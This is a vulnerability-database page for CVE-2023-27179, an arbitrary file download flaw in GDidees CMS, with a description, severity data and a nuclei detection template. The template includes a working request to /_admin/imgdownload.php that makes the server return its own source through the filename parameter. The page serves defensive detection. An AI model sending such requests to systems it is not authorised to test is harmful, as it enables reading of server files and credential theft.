HexBrain

Browse / CVEs / CVE-2023-27179

CVE-2023-27179· gdidees / gdidees cms· CWE-434

GDidees CMS v3.9.1 - Arbitrary File Download

highseverity
7.5CVSS score
60.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

GDidees CMS v3.9.1 and lower was discovered to contain an arbitrary file download vulenrability via the filename parameter at /_admin/imgdownload.php.

Impact

An attacker can exploit this vulnerability to download arbitrary files from the server.

Fix

Apply the latest patch or upgrade to a newer version of GDidees CMS.

How to confirm it

Send: GET {{BaseURL}}/_admin/imgdownload.php?filename=imgdownload.php
Positive when: contains "$filename=$_GET[\"filename\"];" and "@readfile($filename) OR die();" AND contains in header "application/force-download" AND status 200

Run it with nuclei: nuclei -id CVE-2023-27179 -u <target>

The full check
id: CVE-2023-27179

info:
  name: GDidees CMS v3.9.1 - Arbitrary File Download
  author: theamanrawat
  severity: high
  description: |
    GDidees CMS v3.9.1 and lower was discovered to contain an arbitrary file download vulenrability via the filename parameter at /_admin/imgdownload.php.
  impact: |
    An attacker can exploit this vulnerability to download arbitrary files from the server.
  remediation: |
    Apply the latest patch or upgrade to a newer version of GDidees CMS.
  reference:
    - https://www.gdidees.eu/cms-1-0.html
    - https://gist.github.com/Hadi999/516aa25b953b0cba57089a0c11b1305b
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27179
    - http://packetstormsecurity.com/files/171894/GDidees-CMS-3.9.1-Local-File-Disclosure-Directory-Traversal.html
    - https://knowledge-base.secureflag.com/vulnerabilities/unrestricted_file_download/unrestricted_file_download_vulnerability.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27179
    cwe-id: CWE-434
    epss-score: 0.60793
    epss-percentile: 0.99158
    cpe: cpe:2.3:a:gdidees:gdidees_cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gdidees
    product: gdidees_cms
  tags: cve2023,cve,packetstorm,file-download,gdidees,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_admin/imgdownload.php?filename=imgdownload.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '$filename=$_GET["filename"];'
          - '@readfile($filename) OR die();'
        condition: and

      - type: word
        part: header
        words:
          - 'application/force-download'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from